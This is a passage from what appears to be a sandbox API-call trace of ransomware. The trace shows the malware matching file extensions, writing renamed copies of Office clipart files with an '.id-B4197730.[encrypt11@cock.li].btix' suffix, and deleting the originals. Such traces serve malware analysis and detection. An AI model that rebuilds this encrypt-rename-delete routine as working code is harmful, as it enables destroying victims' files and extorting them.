returned 1 [0153.596] lstrlenW (lpString=".rar") returned 4 [0153.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.596] lstrlenW (lpString=".bz2") returned 4 [0153.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.596] lstrlenW (lpString=".7z") returned 3 [0153.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0153.596] lstrlenW (lpString=".dbf") returned 4 [0153.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0153.596] lstrlenW (lpString=".1cd") returned 4 [0153.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0153.596] lstrlenW (lpString=".jpg") returned 4 [0153.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.599] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.600] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.600] GetLastError () returned 0x0 [0153.601] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x258c, lpOverlapped=0x0) returned 1 [0153.654] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2590, lpOverlapped=0x0) returned 1 [0153.655] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.656] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.656] SetEndOfFile (hFile=0x35c) returned 1 [0153.656] CloseHandle (hObject=0x35c) returned 1 [0153.656] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.656] SetEndOfFile (hFile=0x374) returned 1 [0153.657] CloseHandle (hObject=0x374) returned 1 [0153.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0153.658] lstrlenW (lpString=".doc") returned 4 [0153.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString=".docx") returned 5 [0153.658] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.658] lstrlenW (lpString=".pdf") returned 4 [0153.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString=".xls") returned 4 [0153.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.658] lstrlenW (lpString=".xlsx") returned 5 [0153.658] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.658] lstrlenW (lpString=".ppt") returned 4 [0153.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0153.658] lstrlenW (lpString=".zip") returned 4 [0153.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.658] lstrlenW (lpString=".rar") returned 4 [0153.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString=".bz2") returned 4 [0153.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString=".7z") returned 3 [0153.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0153.658] lstrlenW (lpString=".dbf") returned 4 [0153.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0153.658] lstrlenW (lpString=".1cd") returned 4 [0153.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0153.659] lstrlenW (lpString=".jpg") returned 4 [0153.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.659] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.659] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.660] GetLastError () returned 0x0 [0153.660] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1788, lpOverlapped=0x0) returned 1 [0153.692] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1790, lpOverlapped=0x0) returned 1 [0153.692] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.692] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.693] SetEndOfFile (hFile=0x35c) returned 1 [0153.695] CloseHandle (hObject=0x35c) returned 1 [0153.696] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.696] SetEndOfFile (hFile=0x374) returned 1 [0153.704] CloseHandle (hObject=0x374) returned 1 [0153.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0153.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0153.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0153.705] lstrlenW (lpString=".doc") returned 4 [0153.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.705] lstrlenW (lpString=".docx") returned 5 [0153.705] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.705] lstrlenW (lpString=".pdf") returned 4 [0153.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.705] lstrlenW (lpString=".xls") returned 4 [0153.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.705] lstrlenW (lpString=".xlsx") returned 5 [0153.705] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.705] lstrlenW (lpString=".ppt") returned 4 [0153.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0153.705] lstrlenW (lpString=".zip") returned 4 [0153.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.705] lstrlenW (lpString=".rar") returned 4 [0153.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.705] lstrlenW (lpString=".bz2") returned 4 [0153.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.705] lstrlenW (lpString=".7z") returned 3 [0153.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0153.705] lstrlenW (lpString=".dbf") returned 4 [0153.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0153.705] lstrlenW (lpString=".1cd") returned 4 [0153.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0153.705] lstrlenW (lpString=".jpg") returned 4 [0153.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.706] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.706] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.706] GetLastError () returned 0x0 [0153.706] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1f40, lpOverlapped=0x0) returned 1 [0153.718] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1f50, lpOverlapped=0x0) returned 1 [0153.719] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.719] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.720] SetEndOfFile (hFile=0x38c) returned 1 [0153.720] CloseHandle (hObject=0x38c) returned 1 [0153.720] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.720] SetEndOfFile (hFile=0x374) returned 1 [0153.721] CloseHandle (hObject=0x374) returned 1 [0153.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0153.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0153.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0153.722] lstrlenW (lpString=".doc") returned 4 [0153.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.722] lstrlenW (lpString=".docx") returned 5 [0153.722] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.722] lstrlenW (lpString=".pdf") returned 4 [0153.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.723] lstrlenW (lpString=".xls") returned 4 [0153.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.723] lstrlenW (lpString=".xlsx") returned 5 [0153.723] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.723] lstrlenW (lpString=".ppt") returned 4 [0153.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0153.723] lstrlenW (lpString=".zip") returned 4 [0153.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.723] lstrlenW (lpString=".rar") returned 4 [0153.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.723] lstrlenW (lpString=".bz2") returned 4 [0153.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.723] lstrlenW (lpString=".7z") returned 3 [0153.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0153.723] lstrlenW (lpString=".dbf") returned 4 [0153.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0153.723] lstrlenW (lpString=".1cd") returned 4 [0153.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0153.723] lstrlenW (lpString=".jpg") returned 4 [0153.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.724] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.724] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.725] GetLastError () returned 0x0 [0153.725] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4054, lpOverlapped=0x0) returned 1 [0153.764] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4060, lpOverlapped=0x0) returned 1 [0153.824] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.824] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.824] SetEndOfFile (hFile=0x38c) returned 1 [0153.824] CloseHandle (hObject=0x38c) returned 1 [0153.824] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.824] SetEndOfFile (hFile=0x374) returned 1 [0153.825] CloseHandle (hObject=0x374) returned 1 [0153.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0153.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0153.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0153.826] lstrlenW (lpString=".doc") returned 4 [0153.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.826] lstrlenW (lpString=".docx") returned 5 [0153.826] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.826] lstrlenW (lpString=".pdf") returned 4 [0153.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.826] lstrlenW (lpString=".xls") returned 4 [0153.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.826] lstrlenW (lpString=".xlsx") returned 5 [0153.826] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.827] lstrlenW (lpString=".ppt") returned 4 [0153.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0153.827] lstrlenW (lpString=".zip") returned 4 [0153.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.827] lstrlenW (lpString=".rar") returned 4 [0153.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.827] lstrlenW (lpString=".bz2") returned 4 [0153.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.827] lstrlenW (lpString=".7z") returned 3 [0153.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0153.827] lstrlenW (lpString=".dbf") returned 4 [0153.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0153.827] lstrlenW (lpString=".1cd") returned 4 [0153.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0153.827] lstrlenW (lpString=".jpg") returned 4 [0153.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.827] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.827] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.828] GetLastError () returned 0x0 [0153.828] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2c8c, lpOverlapped=0x0) returned 1 [0153.969] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2c90, lpOverlapped=0x0) returned 1 [0153.970] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.970] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.970] SetEndOfFile (hFile=0x38c) returned 1 [0153.970] CloseHandle (hObject=0x38c) returned 1 [0153.970] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.970] SetEndOfFile (hFile=0x374) returned 1 [0153.971] CloseHandle (hObject=0x374) returned 1 [0153.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0153.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0153.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0153.972] lstrlenW (lpString=".doc") returned 4 [0153.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.972] lstrlenW (lpString=".docx") returned 5 [0153.972] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.972] lstrlenW (lpString=".pdf") returned 4 [0153.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.972] lstrlenW (lpString=".xls") returned 4 [0153.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.972] lstrlenW (lpString=".xlsx") returned 5 [0153.972] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.972] lstrlenW (lpString=".ppt") returned 4 [0153.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0153.972] lstrlenW (lpString=".zip") returned 4 [0153.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.972] lstrlenW (lpString=".rar") returned 4 [0153.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.972] lstrlenW (lpString=".bz2") returned 4 [0153.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.972] lstrlenW (lpString=".7z") returned 3 [0153.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0153.973] lstrlenW (lpString=".dbf") returned 4 [0153.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0153.973] lstrlenW (lpString=".1cd") returned 4 [0153.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0153.973] lstrlenW (lpString=".jpg") returned 4 [0153.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.974] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.974] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.975] GetLastError () returned 0x0 [0153.975] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2fac, lpOverlapped=0x0) returned 1 [0154.077] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x301fc94, 